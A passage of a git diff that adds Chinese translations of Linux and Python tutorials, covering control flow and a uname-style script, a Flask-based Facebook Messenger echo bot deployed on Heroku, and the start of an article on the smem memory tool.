系统。我很惊奇于她的热情。 + +当人们意识到需要抛弃所有的 Windows 的使用习惯和工具的时候,学习 Linux 系统就会很容易。甚至在告诉那些淘气的孩子们如何使用之后,再次回来检查的时候,他们都不会试图把 .exe 文件下载到桌面上或某个下载文件夹。 + +在我们通常讨论这些文件的时候,我们也会提及关于更新的问题。长久以来我一直反对在一台机器上有多个软件安装系统和更新管理软件。以 Mint 来说,它完全禁用了 Synaptic 中的更新功能,这让我失去兴趣。但是即便对于我们这些仍然在使用 dpkg 和 apt 的老家伙们来说,睿智的脑袋也已经开始意识到命令行对新用户来说并不那么温馨而友好。 + +我曾严正抗议并强烈谴责 Synaptic 功能上的削弱,直到它说服了我。你记得什么时候第一次使用的新打造的 Linux 发行版,并拥有了最高管理权限吗? 你记得什么时候对 Synaptic 中列出的大量软件进行过梳理吗?你记得怎样开始安装每个你发现的很酷的程序吗?你记得有多少这样的程序都是以字母"lib"开头的吗? + +我也曾做过那样的事。我安装又弄坏了好几次 Linux,后来我才发现那些库(lib)文件是应用程序的螺母和螺栓,而不是应用程序本身。这就是 Linux Mint 和 Ubuntu 幕后那些聪明的开发者创造了智能、漂亮和易用的应用安装器的原因。Synaptic 仍然是我们这些老玩家爱用的工具,但是对于那些在我们之后才来的新手来说,有太多的方式可以让他们安装库文件和其他类似的包。在新的安装程序中,这些文件的显示会被折叠起来,不会展示给用户。真的,这才是它应该做的。 + +除非你要准备好了打很多支持电话。 + +现在的 Linux 发行版中藏了很多智慧的结晶,我也很感谢这些开发者们,因为他们,我的工作变得更容易。不是每一个 Linux 新用户都像 Nicky 这样富有学习能力和热情。她对我来说就是一个“装好就行”的项目,只需要为她解答一些问题,其它的她会自己研究解决。像她这样极具学习能力和热情的用户的毕竟是少数。这样的 Linux 新人任何时候都是珍稀物种。 + +很不错,他们都是要教自己的孩子使用 Linux 的人。 + +-------------------------------------------------------------------------------- + +via: http://fossforce.com/2016/05/anatomy-linux-user/ + +作者:[Ken Starks][a] +译者:[vim-kakali](https://github.com/vim-kakali) +校对:[PurlingNayuki](https://github.com/PurlingNayuki), [wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://linuxlock.blogspot.com/ diff --git "a/published/201608/20160601 Learn Python Control Flow and Loops to Write and Tune Shell Scripts \342\200\223 Part 2.md" "b/published/201608/20160601 Learn Python Control Flow and Loops to Write and Tune Shell Scripts \342\200\223 Part 2.md" new file mode 100644 index 0000000000..b2bc20848a --- /dev/null +++ "b/published/201608/20160601 Learn Python Control Flow and Loops to Write and Tune Shell Scripts \342\200\223 Part 2.md" @@ -0,0 +1,292 @@ +Linux 平台下 Python 脚本编程入门(二) +====================================================================================== + +在“[Linux 平台下 Python 脚本编程入门][1]”系列之前的文章里,我们向你介绍了 Python 的简介,它的命令行 shell 和 IDLE(LCTT 译注:python 自带的一个 IDE)。我们也演示了如何进行算术运算、如何在变量中存储值、还有如何打印那些值到屏幕上。最后,我们通过一个练习示例讲解了面向对象编程中方法和属性概念。 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Write-Shell-Scripts-in-Python-Programming.png) + +*在 Python 编程中写 Linux Shell 脚本* + +本篇中,我们会讨论控制流(根据用户输入的信息、计算的结果,或者一个变量的当前值选择不同的动作行为)和循环(自动重复执行任务),接着应用我们目前所学东西来编写一个简单的 shell 脚本,这个脚本会显示操作系统类型、主机名、内核版本、版本号和机器硬件架构。 + +这个例子尽管很基础,但是会帮助我们证明,比起使用一般的 bash 工具,我们通过发挥 Python 面向对象的特性来编写 shell 脚本会更简单些。 + +换句话说,我们想从这里出发: + +``` +# uname -snrvm +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Check-Hostname-of-Linux.png) + +*检查 Linux 的主机名* + +到 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Check-Linux-Hostname-Using-Python-Script.png) + +*用 Python 脚本来检查 Linux 的主机名* + +或者 + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Script-to-Check-Linux-System-Information.png) + +*用脚本检查 Linux 系统信息* + +看着不错,不是吗?那我们就挽起袖子,开干吧。 + +### Python 中的控制流 + +如我们刚说那样,控制流允许我们根据一个给定的条件,选择不同的输出结果。在 Python 中最简单的实现就是一个 `if`/`else` 语句。 + +基本语法是这样的: + +``` +if 条件: + # 动作 1 +else: + # 动作 2 +``` + +当“条件”求值为真(true),下面的代码块就会被执行(`# 动作 1`代表的部分)。否则,else 下面的代码就会运行。 +“条件”可以是任何表达式,只要可以求得值为真或者假。 + +举个例子: + +1. `1 < 3` # 真 +2. `firstName == "Gabriel"` # 对 firstName 为 Gabriel 的人是真,对其他不叫 Gabriel 的人为假 + +- 在第一个例子中,我们比较了两个值,判断 1 是否小于 3。 +- 在第二个例子中,我们比较了 firstName(一个变量)与字符串 “Gabriel”,看在当前执行的位置,firstName 的值是否等于该字符串。 +- 条件和 else 表达式都必须跟着一个冒号(`:`)。 +- **缩进在 Python 中非常重要**。同样缩进下的行被认为是相同的代码块。 + +请注意,`if`/`else` 表达式只是 Python 中许多控制流工具的一个而已。我们先在这里了解以下,后面会用在我们的脚本中。你可以在[官方文档][2]中学到更多工具。 + +### Python 中的循环 + +简单来说,一个循环就是一组指令或者表达式序列,可以按顺序一直执行,只要条件为真,或者对列表里每个项目执行一一次。 + +Python 中最简单的循环,就是用 for 循环迭代一个给定列表的元素,或者对一个字符串从第一个字符开始到执行到最后一个字符结束。 + +基本语句: + +``` +for x in example: + # do this +``` + +这里的 example 可以是一个列表或者一个字符串。如果是列表,变量 x 就代表列表中每个元素;如果是字符串,x 就代表字符串中每个字符。 + +``` +>>> rockBands = [] +>>> rockBands.append("Roxette") +>>> rockBands.append("Guns N' Roses") +>>> rockBands.append("U2") +>>> for x in rockBands: + print(x) +或 +>>> firstName = "Gabriel" +>>> for x in firstName: + print(x) +``` + +上面例子的输出如下图所示: + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Learn-Loops-in-Python.png) + +*学习 Python 中的循环* + +### Python 模块 + +很明显,必须有个办法将一系列的 Python 指令和表达式保存到文件里,然后在需要的时候取出来。 + +准确来说模块就是这样的。比如,os 模块提供了一个到操作系统的底层的接口,可以允许我们做许多通常在命令行下执行的操作。 + +没错,os 模块包含了许多可以用来调用的方法和属性,就如我们之前文章里讲解的那样。不过,我们需要使用 `import` 关键词导入(或者叫包含)模块到运行环境里来: + +``` +>>> import os +``` + +我们来打印出当前的工作目录: + +``` +>>> os.getcwd() +``` + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Learn-Python-Modules.png) + +*学习 Python 模块* + +现在,让我们把这些结合在一起(包括之前文章里讨论的概念),编写需要的脚本。 + +### Python 脚本 + +以一段声明文字开始一个脚本是个不错的想法,它可以表明脚本的目的、发布所依据的许可证,以及一个列出做出的修改的修订历史。尽管这主要是个人喜好,但这会让我们的工作看起来比较专业。 + +这里有个脚本,可以输出这篇文章最前面展示的那样。脚本做了大量的注释,可以让大家可以理解发生了什么。 + +在进行下一步之前,花点时间来理解它。注意,我们是如何使用一个 `if`/`else` 结构,判断每个字段标题的长度是否比字段本身的值还大。 + +基于比较结果,我们用空字符去填充一个字段标题和下一个之间的空格。同时,我们使用一定数量的短线作为字段标题与其值之间的分割符。 + +``` +#!/usr/bin/python3 +# 如果你没有安装 Python 3 ,那么修改这一行为 #!/usr/bin/python + +# Script name: uname.py +# Purpose: Illustrate Python's OOP capabilities to write shell scripts more easily +# License: GPL v3 (http://www.gnu.org/licenses/gpl.html) + +# Copyright (C) 2016 Gabriel Alejandro Cánepa +# ​Facebook / Skype / G+ / Twitter / Github: gacanepa +# Email: gacanepa (at) gmail (dot) com + +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. + +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# REVISION HISTORY +# DATE VERSION AUTHOR CHANGE DESCRIPTION +# ---------- ------- -------------- +# 2016-05-28 1.0 Gabriel Cánepa Initial version + +### 导入 os 模块 +import os + +### 将 os.uname() 的输出赋值给 systemInfo 变量 +### os.uname() 会返回五个字符串元组(sysname, nodename, release, version, machine) +### 参见文档:https://docs.python.org/3.2/library/os.html#module-os +systemInfo = os.uname() + +### 这是一个固定的数组,用于描述脚本输出的字段标题 +headers = ["Operating system","Hostname","Release","Version","Machine"] + +### 初始化索引值,用于定义每一步迭代中 +### systemInfo 和字段标题的索引 +index = 0 + +### 字段标题变量的初始值 +caption = "" + +### 值变量的初始值 +values = "" + +### 分隔线变量的初始值 +separators = "" + +### 开始循环 +for item in systemInfo: + if len(item) < len(headers[index]): + ### 一个包含横线的字符串,横线长度等于item[index] 或 headers[index] + ### 要重复一个字符,用引号圈起来并用星号(*)乘以所需的重复次数 + separators = separators + "-" * len(headers[index]) + " " + caption = caption + headers[index] + " " + values = values + systemInfo[index] + " " * (len(headers[index]) - len(item)) + " " + else: + separators = separators + "-" * len(item) + " " + caption = caption + headers[index] + " " * (len(item) - len(headers[index]) + 1) + values = values + item + " " + ### 索引加 1 + index = index + 1 +### 终止循环 + +### 输出转换为大写的变量(字段标题)名 +print(caption.upper()) + +### 输出分隔线 +print(separators) + +# 输出值(systemInfo 中的项目) +print(values) + +### 步骤: +### 1) 保持该脚本为 uname.py (或任何你想要的名字) +### 并通过如下命令给其执行权限: +### chmod +x uname.py +### 2) 执行它; +### ./uname.py +``` + +如果你已经按照上述描述将上面的脚本保存到一个文件里,并给文件增加了执行权限,那么运行它: + +``` +# chmod +x uname.py +# ./uname.py +``` + +如果试图运行脚本时你得到了如下的错误: + +``` +-bash: ./uname.py: /usr/bin/python3: bad interpreter: No such file or directory +``` + +这意味着你没有安装 Python3。如果那样的话,你要么安装 Python3 的包,要么替换解释器那行(如果如之前文章里概述的那样,跟着下面的步骤去更新 Python 执行文件的软连接,要特别注意并且非常小心): + +``` +#!/usr/bin/python3 +``` + +为 + +``` +#!/usr/bin/python +``` + +这样会通过使用已经安装好的 Python 2 去执行该脚本。 + +**注意**:该脚本在 Python 2.x 与 Pyton 3.x 上都测试成功过了。 + +尽管比较粗糙,你可以认为该脚本就是一个 Python 模块。这意味着你可以在 IDLE 中打开它(File → Open… → Select file): + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Open-Python-in-IDLE.png) + +*在 IDLE 中打开 Python* + +一个包含有文件内容的新窗口就会打开。然后执行 Run → Run module(或者按 F5)。脚本的输出就会在原始的 Shell 里显示出来: + +![](http://www.tecmint.com/wp-content/uploads/2016/05/Run-Python-Script.png) + +*执行 Python 脚本* + +如果你想纯粹用 bash 写一个脚本,也获得同样的结果,你可能需要结合使用 [awk][3]、[sed][4],并且借助复杂的方法来存储与获得列表中的元素(不要忘了使用 tr 命令将小写字母转为大写)。 + +另外,在所有的 Linux 系统版本中都至少集成了一个 Python 版本(2.x 或者 3.x,或者两者都有)。你还需要依赖 shell 去完成同样的目标吗?那样你可能需要为不同的 shell 编写不同的版本。 + +这里演示了面向对象编程的特性,它会成为一个系统管理员得力的助手。 + +**注意**:你可以在我的 Github 仓库里获得 [这个 python 脚本][5](或者其他的)。 + +### 总结 + +这篇文章里,我们讲解了 Python 中控制流、循环/迭代、和模块的概念。我们也演示了如何利用 Python 中面向对象编程的方法和属性来简化复杂的 shell 脚本。 + +你有任何其他希望去验证的想法吗?开始吧,写出自己的 Python 脚本,如果有任何问题可以咨询我们。不必犹豫,在分割线下面留下评论,我们会尽快回复你。 + +-------------------------------------------------------------------------------- + +via: http://www.tecmint.com/learn-python-programming-to-write-linux-shell-scripts/ + +作者:[Gabriel Cánepa][a] +译者:[wi-cuckoo](https://github.com/wi-cuckoo) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.tecmint.com/author/gacanepa/ +[1]: http://www.tecmint.com/learn-python-programming-and-scripting-in-linux/ +[2]: http://please%20note%20that%20the%20if%20/%20else%20statement%20is%20only%20one%20of%20the%20many%20control%20flow%20tools%20available%20in%20Python.%20We%20reviewed%20it%20here%20since%20we%20will%20use%20it%20in%20our%20script%20later.%20You%20can%20learn%20more%20about%20the%20rest%20of%20the%20tools%20in%20the%20official%20docs. +[3]: http://www.tecmint.com/use-linux-awk-command-to-filter-text-string-in-files/ +[4]: http://www.tecmint.com/sed-command-to-create-edit-and-manipulate-files-in-linux/ +[5]: https://github.com/gacanepa/scripts/blob/master/python/uname.py + diff --git a/published/201608/20160602 How to build and deploy a Facebook Messenger bot with Python and Flask.md b/published/201608/20160602 How to build and deploy a Facebook Messenger bot with Python and Flask.md new file mode 100644 index 0000000000..e2191b88c1 --- /dev/null +++ b/published/201608/20160602 How to build and deploy a Facebook Messenger bot with Python and Flask.md @@ -0,0 +1,392 @@ +如何用 Python 和 Flask 建立部署一个 Facebook Messenger 机器人 +========================================================================== + +这是我建立一个简单的 Facebook Messenger 机器人的记录。功能很简单,它是一个回显机器人,只是打印回用户写了什么。 + +回显服务器类似于服务器的“Hello World”例子。 + +这个项目的目的不是建立最好的 Messenger 机器人,而是让你了解如何建立一个小型机器人和每个事物是如何整合起来的。 + +- [技术栈][1] +- [机器人架构][2] +- [机器人服务器][3] +- [部署到 Heroku][4] +- [创建 Facebook 应用][5] +- [结论][6] + +### 技术栈 + +使用到的技术栈: + +- [Heroku][7] 做后端主机。免费级足够这个等级的教程。回显机器人不需要任何种类的数据持久,所以不需要数据库。 +- [Python][8] 是我们选择的语言。版本选择 2.7,虽然它移植到 Pyhton 3 很容易,只需要很少的改动。 +- [Flask][9] 作为网站开发框架。它是非常轻量的框架,用在小型工程或微服务是非常完美的。 +- 最后 [Git][10] 版本控制系统用来维护代码和部署到 Heroku。 +- 值得一提:[Virtualenv][11]。这个 python 工具是用来创建清洁的 python 库“环境”的,这样你可以只安装必要的需求和最小化应用的大小。 + +### 机器人架构 + +Messenger 机器人是由一个响应两种请求的服务器组成的: + +- GET 请求被用来认证。他们与你注册的 FaceBook 认证码一同被 Messenger 发出。 +- POST 请求被用来实际的通信。典型的工作流是,机器人将通过用户发送带有消息数据的 POST 请求而建立通信,然后我们将处理这些数据,并发回我们的 POST 请求。如果这个请求完全成功(返回一个 200 OK 状态码),我们也将响应一个 200 OK 状态码给初始的 Messenger请求。 + +这个教程应用将托管到 Heroku,它提供了一个优雅而简单的部署应用的接口。如前所述,免费级可以满足这个教程。 + +在应用已经部署并且运行后,我们将创建一个 Facebook 应用然后连接它到我们的应用,以便 Messenger 知道发送请求到哪,这就是我们的机器人。 + +### 机器人服务器 + +基本的服务器代码可以在 Github 用户 [hult(Magnus Hult)][13] 的 [Chatbot][12] 项目上获取,做了一些只回显消息的代码修改和修正了一些我遇到的错误。最终版本的服务器代码如下: + +``` +from flask import Flask, request +import json +import requests + +app = Flask(__name__) + +### 这需要填写被授予的页面通行令牌(PAT) +### 它由将要创建的 Facebook 应用提供。 +PAT = '' + +@app.route('/', methods=['GET']) +def handle_verification(): + print "Handling Verification." + if request.args.get('hub.verify_token', '') == 'my_voice_is_my_password_verify_me': + print "Verification successful!" + return request.args.get('hub.challenge', '') + else: + print "Verification failed!" + return 'Error, wrong validation token' + +@app.route('/', methods=['POST']) +def handle_messages(): + print "Handling Messages" + payload = request.get_data() + print payload + for sender, message in messaging_events(payload): + print "Incoming from %s: %s" % (sender, message) + send_message(PAT, sender, message) + return "ok" + +def messaging_events(payload): + """Generate tuples of (sender_id, message_text) from the + provided payload. + """ + data = json.loads(payload) + messaging_events = data["entry"][0]["messaging"] + for event in messaging_events: + if "message" in event and "text" in event["message"]: + yield event["sender"]["id"], event["message"]["text"].encode('unicode_escape') + else: + yield event["sender"]["id"], "I can't echo this" + + +def send_message(token, recipient, text): + """Send the message text to recipient with id recipient. + """ + + r = requests.post("https://graph.facebook.com/v2.6/me/messages", + params={"access_token": token}, + data=json.dumps({ + "recipient": {"id": recipient}, + "message": {"text": text.decode('unicode_escape')} + }), + headers={'Content-type': 'application/json'}) + if r.status_code != requests.codes.ok: + print r.text + +if __name__ == '__main__': + app.run() +``` + +让我们分解代码。第一部分是引入所需的依赖: + +``` +from flask import Flask, request +import json +import requests +``` + +接下来我们定义两个函数(使用 Flask 特定的 app.route 装饰器),用来处理到我们的机器人的 GET 和 POST 请求。 + +``` +@app.route('/', methods=['GET']) +def handle_verification(): + print "Handling Verification." + if request.args.get('hub.verify_token', '') == 'my_voice_is_my_password_verify_me': + print "Verification successful!" + return request.args.get('hub.challenge', '') + else: + print "Verification failed!" + return 'Error, wrong validation token' +``` + +当我们创建 Facebook 应用时,verify_token 对象将由我们声明的 Messenger 发送。我们必须自己来校验它。最后我们返回“hub.challenge”给 Messenger。 + +处理 POST 请求的函数更有意思一些: + +``` +@app.route('/', methods=['POST']) +def handle_messages(): + print "Handling Messages" + payload = request.get_data() + print payload + for sender, message in messaging_events(payload): + print "Incoming from %s: %s" % (sender, message) + send_message(PAT, sender, message) + return "ok" +``` + +当被调用时,我们抓取消息载荷,使用函数 messaging_events 来拆解它,并且提取发件人身份和实际发送的消息,生成一个可以循环处理的 python 迭代器。请注意 Messenger 发送的每个请求有可能多于一个消息。 + +``` +def messaging_events(payload): + """Generate tuples of (sender_id, message_text) from the + provided payload. + """ + data = json.loads(payload) + messaging_events = data["entry"][0]["messaging"] + for event in messaging_events: + if "message" in event and "text" in event["message"]: + yield event["sender"]["id"], event["message"]["text"].encode('unicode_escape') + else: + yield event["sender"]["id"], "I can't echo this" +``` + +对每个消息迭代时,我们会调用 send_message 函数,然后我们使用 Facebook Graph messages API 对 Messenger 发回 POST 请求。在这期间我们一直没有回应我们阻塞的原始 Messenger请求。这会导致超时和 5XX 错误。 + +上述情况是我在解决遇到错误时发现的,当用户发送表情时实际上是发送的 unicode 标识符,但是被 Python 错误的编码了,最终我们发回了一些乱码。 + +这个发回 Messenger 的 POST 请求将永远不会完成,这会导致给初始请求返回 5xx 状态码,显示服务不可用。 + +通过使用 `encode('unicode_escape')` 封装消息,然后在我们发送回消息前用 `decode('unicode_escape')` 解码消息就可以解决。 + +``` +def send_message(token, recipient, text): + """Send the message text to recipient with id recipient. + """ + + r = requests.post("https://graph.facebook.com/v2.6/me/messages", + params={"access_token": token}, + data=json.dumps({ + "recipient": {"id": recipient}, + "message": {"text": text.decode('unicode_escape')} + }), + headers={'Content-type': 'application/json'}) + if r.status_code != requests.codes.ok: + print r.text +``` + +### 部署到 Heroku + +一旦代码已经建立成我想要的样子时就可以进行下一步。部署应用。 + +那么,该怎么做? + +我之前在 Heroku 上部署过应用(主要是 Rails),然而我总是遵循某种教程做的,所用的配置是创建好了的。而在本文的情况下,我就需要从头开始。 + +幸运的是有官方 [Heroku 文档][14]来帮忙。这篇文档很好地说明了运行应用程序所需的最低限度。 + +长话短说,我们需要的除了我们的代码还有两个文件。第一个文件是“requirements.txt”,它列出了运行应用所依赖的库。 + +需要的第二个文件是“Procfile”。这个文件通知 Heroku 如何运行我们的服务。此外这个文件只需要一点点内容: + +``` +web: gunicorn echoserver:app +``` + +Heroku 对它的解读是,我们的应用通过运行 echoserver.py 启动,并且应用将使用 gunicorn 作为 Web 服务器。我们使用一个额外的网站服务器是因为与性能相关,在上面的 Heroku 文档里对此解释了: + +> Web 应用程序并发处理传入的 HTTP 请求比一次只处理一个请求的 Web 应用程序会更有效利地用测试机的资源。由于这个原因,我们建议使用支持并发请求的 Web 服务器来部署和运行产品级服务。 + +> Django 和 Flask web 框架提供了一个方便的内建 Web 服务器,但是这些阻塞式服务器一个时刻只能处理一个请求。如果你部署这种服务到 Heroku 上,你的测试机就会资源利用率低下,应用会感觉反应迟钝。 + +> Gunicorn 是一个纯 Python 的 HTTP 服务器,用于 WSGI 应用。允许你在单独一个测试机内通过运行多 Python 进程的方式来并发的运行各种 Python 应用。它在性能、灵活性和配置简易性方面取得了完美的平衡。 + +回到我们之前提到过的“requirements.txt”文件,让我们看看它如何结合 Virtualenv 工具。 + +很多情况下,你的开发机器也许已经安装了很多 python 库。当部署应用时你不想全部加载那些库,但是辨认出你实际使用哪些库很困难。 + +Virtualenv 可以创建一个新的空白虚拟环境,以便你可以只安装你应用所需要的库。 + +你可以运行如下命令来检查当前安装了哪些库: + +``` +kostis@KostisMBP ~ $ pip freeze +cycler==0.10.0 +Flask==0.10.1 +gunicorn==19.6.0 +itsdangerous==0.24 +Jinja2==2.8 +MarkupSafe==0.23 +matplotlib==1.5.1 +numpy==1.10.4 +pyparsing==2.1.0 +python-dateutil==2.5.0 +pytz==2015.7 +requests==2.10.0 +scipy==0.17.0 +six==1.10.0 +virtualenv==15.0.1 +Werkzeug==0.11.10 +``` + +注意:pip 工具应该已经与 Python 一起安装在你的机器上。如果没有,查看[官方网站][15]如何安装它。 + +现在让我们使用 Virtualenv 来创建一个新的空白环境。首先我们给我们的项目创建一个新文件夹,然后进到目录下: + +``` +kostis@KostisMBP projects $ mkdir echoserver +kostis@KostisMBP projects $ cd echoserver/ +kostis@KostisMBP echoserver $ +``` + +现在来创建一个叫做 echobot 的新环境。运行下面的 source 命令激活它,然后使用 pip freeze 检查,我们能看到现在是空的。 + +``` +kostis@KostisMBP echoserver $ virtualenv echobot +kostis@KostisMBP echoserver $ source echobot/bin/activate +(echobot) kostis@KostisMBP echoserver $ pip freeze +(echobot) kostis@KostisMBP echoserver $ +``` + +我们可以安装需要的库。我们需要是 flask、gunicorn 和 requests,它们被安装后我们就创建 requirements.txt 文件: + +``` +(echobot) kostis@KostisMBP echoserver $ pip install flask +(echobot) kostis@KostisMBP echoserver $ pip install gunicorn +(echobot) kostis@KostisMBP echoserver $ pip install requests +(echobot) kostis@KostisMBP echoserver $ pip freeze +click==6.6 +Flask==0.11 +gunicorn==19.6.0 +itsdangerous==0.24 +Jinja2==2.8 +MarkupSafe==0.23 +requests==2.10.0 +Werkzeug==0.11.10 +(echobot) kostis@KostisMBP echoserver $ pip freeze > requirements.txt +``` + +上述完成之后,我们用 python 代码创建 echoserver.py 文件,然后用之前提到的命令创建 Procfile,我们最终的文件/文件夹如下: + +``` +(echobot) kostis@KostisMBP echoserver $ ls +Procfile echobot echoserver.py requirements.txt +``` + +我们现在准备上传到 Heroku。我们需要做两件事。第一是如果还没有安装 Heroku toolbet,就安装它(详见 [Heroku][16])。第二是通过 Heroku [网页界面][17]创建一个新的 Heroku 应用。 + +点击右上的大加号然后选择“Create new app”。 + +![](http://tsaprailis.com/assets/create_app.png) + +为你的应用选择一个名字,然后点击“Create App”。 + +![](http://tsaprailis.com/assets/create.png) + +你将会重定向到你的应用的控制面板,在那里你可以找到如何部署你的应用到 Heroku 的细节说明。 + +``` +(echobot) kostis@KostisMBP echoserver $ heroku login +(echobot) kostis@KostisMBP echoserver $ git init +(echobot) kostis@KostisMBP echoserver $ heroku git:remote -a +(echobot) kostis@KostisMBP echoserver $ git add . +(echobot) kostis@KostisMBP echoserver $ git commit -m "Initial commit" +(echobot) kostis@KostisMBP echoserver (master) $ git push heroku master +... +remote: https://.herokuapp.com/ deployed to Heroku +... +(echobot) kostis@KostisMBP echoserver (master) $ heroku config:set WEB_CONCURRENCY=3 +``` + +如上,当你推送你的修改到 Heroku 之后,你会得到一个用于公开访问你新创建的应用的 URL。保存该 URL,下一步需要它。 + +### 创建这个 Facebook 应用 + +让我们的机器人可以工作的最后一步是创建这个我们将连接到其上的 Facebook 应用。Facebook 通常要求每个应用都有一个相关页面,所以我们来[创建一个][18]。 + +接下来我们去 [Facebook 开发者专页][19],点击右上角的“My Apps”按钮并选择“Add a New App”。不要选择建议的那个,而是点击“basic setup”。填入需要的信息并点击“Create App Id”,然后你会重定向到新的应用页面。 + +![](http://tsaprailis.com/assets/facebook_app.png) + + +在 “Products” 菜单之下,点击“+ Add Product” ,然后在“Messenger”下点击“Get Started”。跟随这些步骤设置 Messenger,当完成后你就可以设置你的 webhooks 了。Webhooks 简单的来说是你的服务所用的 URL 的名称。点击 “Setup Webhooks” 按钮,并添加该 Heroku 应用的 URL (你之前保存的那个)。在校验元组中写入 ‘my_voice_is_my_password_verify_me’。你可以写入任何你要的内容,但是不管你在这里写入的是什么内容,要确保同时修改代码中 handle_verification 函数。然后勾选 “messages” 选项。 + +![](http://tsaprailis.com/assets/webhooks.png) + +点击“Verify and Save” 就完成了。Facebook 将访问该 Heroku 应用并校验它。如果不工作,可以试试运行: + +``` +(echobot) kostis@KostisMBP heroku logs -t +``` + +然后看看日志中是否有错误。如果发现错误, Google 搜索一下可能是最快的解决方法。 + +最后一步是取得页面访问元组(PAT),它可以将该 Facebook 应用于你创建好的页面连接起来。 + +![](http://tsaprailis.com/assets/PAT.png) + +从下拉列表中选择你创建好的页面。这会在“Page Access Token”(PAT)下面生成一个字符串。点击复制它,然后编辑 echoserver.py 文件,将其贴入 PAT 变量中。然后在 Git 中添加、提交并推送该修改。 + +``` +(echobot) kostis@KostisMBP echoserver (master) $ git add . +(echobot) kostis@KostisMBP echoserver (master) $ git commit -m "Initial commit" +(echobot) kostis@KostisMBP echoserver (master) $ git push heroku master +``` + +最后,在 Webhooks 菜单下再次选择你的页面并点击“Subscribe”。 + +![](http://tsaprailis.com/assets/subscribe.png) + +现在去访问你的页面并建立会话: + +![](http://tsaprailis.com/assets/success.png) + +成功了,机器人回显了! + +注意:除非你要将这个机器人用在 Messenger 上测试,否则你就是机器人唯一响应的那个人。如果你想让其他人也试试它,到 [Facebook 开发者专页][19]中,选择你的应用、角色,然后添加你要添加的测试者。 + +###总结 + +这对于我来说是一个非常有用的项目,希望它可以指引你找到开始的正确方向。[官方的 Facebook 指南][20]有更多的资料可以帮你学到更多。 + +你可以在 [Github][21] 上找到该项目的代码。 + +如果你有任何评论、勘误和建议,请随时联系我。 + + +-------------------------------------------------------------------------------- + +via: http://tsaprailis.com/2016/06/02/How-to-build-and-deploy-a-Facebook-Messenger-bot-with-Python-and-Flask-a-tutorial/ + +作者:[Konstantinos Tsaprailis][a] +译者:[wyangsun](https://github.com/wyangsun) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://github.com/kostistsaprailis +[1]: http://tsaprailis.com/2016/06/02/How-to-build-and-deploy-a-Facebook-Messenger-bot-with-Python-and-Flask-a-tutorial/#tech-stack +[2]: http://tsaprailis.com/2016/06/02/How-to-build-and-deploy-a-Facebook-Messenger-bot-with-Python-and-Flask-a-tutorial/#bot-architecture +[3]: http://tsaprailis.com/2016/06/02/How-to-build-and-deploy-a-Facebook-Messenger-bot-with-Python-and-Flask-a-tutorial/#the-bot-server +[4]: http://tsaprailis.com/2016/06/02/How-to-build-and-deploy-a-Facebook-Messenger-bot-with-Python-and-Flask-a-tutorial/#deploying-to-heroku +[5]: http://tsaprailis.com/2016/06/02/How-to-build-and-deploy-a-Facebook-Messenger-bot-with-Python-and-Flask-a-tutorial/#creating-the-facebook-app +[6]: http://tsaprailis.com/2016/06/02/How-to-build-and-deploy-a-Facebook-Messenger-bot-with-Python-and-Flask-a-tutorial/#conclusion +[7]: https://www.heroku.com +[8]: https://www.python.org +[9]: http://flask.pocoo.org +[10]: https://git-scm.com +[11]: https://virtualenv.pypa.io/en/stable +[12]: https://github.com/hult/facebook-chatbot-python +[13]: https://github.com/hult +[14]: https://devcenter.heroku.com/articles/python-gunicorn +[15]: https://pip.pypa.io/en/stable/installing +[16]: https://toolbelt.heroku.com +[17]: https://dashboard.heroku.com/apps +[18]: https://www.facebook.com/pages/create +[19]: https://developers.facebook.com/ +[20]: https://developers.facebook.com/docs/messenger-platform/implementation +[21]: https://github.com/kostistsaprailis/messenger-bot-tutorial \ No newline at end of file diff --git "a/published/201608/20160604 Smem \342\200\223 Reports Memory Consumption Per-Process and Per-User Basis in Linux.md" "b/published/201608/20160604 Smem \342\200\223 Reports Memory Consumption Per-Process and Per-User Basis in Linux.md" new file mode 100644 index 0000000000..1554186fbf --- /dev/null +++ "b/published/201608/20160604 Smem \342\200\223 Reports Memory Consumption Per-Process and Per-User Basis in Linux.md" @@ -0,0 +1,438 @@ +Smem – Linux 下基于进程和用户的内存占用报告 +=========================================================================== + +Linux 系统的内存管理工作中,内存使用情况的监控是十分重要的,在各种 Linux 发行版上你会找到许多这种工具。它们的工作方式多种多样,在这里,我们将会介绍如何安装和使用这样的一个名为 SMEM 的工具软件。 + +Smem 是一款命令行下的内存使用情况报告工具,它能够给用户提供 Linux 系统下的内存使用的多种报告。和其它传统的内存报告工具不同的是,它有个独特的功能,可以报告 PSS(按比例占用大小:Proportional Set Size),这种内存使用量表示方法对于那些在虚拟内存中的应用和库更有意义。 + +![](http://www.tecmint.com/wp-content/uploads/2016/06/Smem-Linux-Memory-Reporting-Tool.png) + +*Smem – Linux 内存报告工具* + +已有的传统工具会将目光主要集中于读取 RSS(实际占用大小:Resident Set Size),这种方法是以物理内存方案来衡量使用情况的标准方法,但是往往高估了应用程序的内存的使用情况。 + +PSS 从另一个侧面,通过判定在虚拟内存中的应用和库所使用的“合理分享”的内存,来给出更可信的衡量结果。 + +你可以阅读此[指南 (关于内存的 RSS 和 PSS)][1]了解 Linux 系统中的内存占用,不过现在让我们继续看看 smem 的特点。 + +### Smem 这一工具的特点 + +- 系统概览列表 +- 以进程、映射和用户来显示或者是过滤 +- 从 /proc 文件系统中得到数据 +- 从多个数据源配置显示的条目 +- 可配置输出单位和百分比 +- 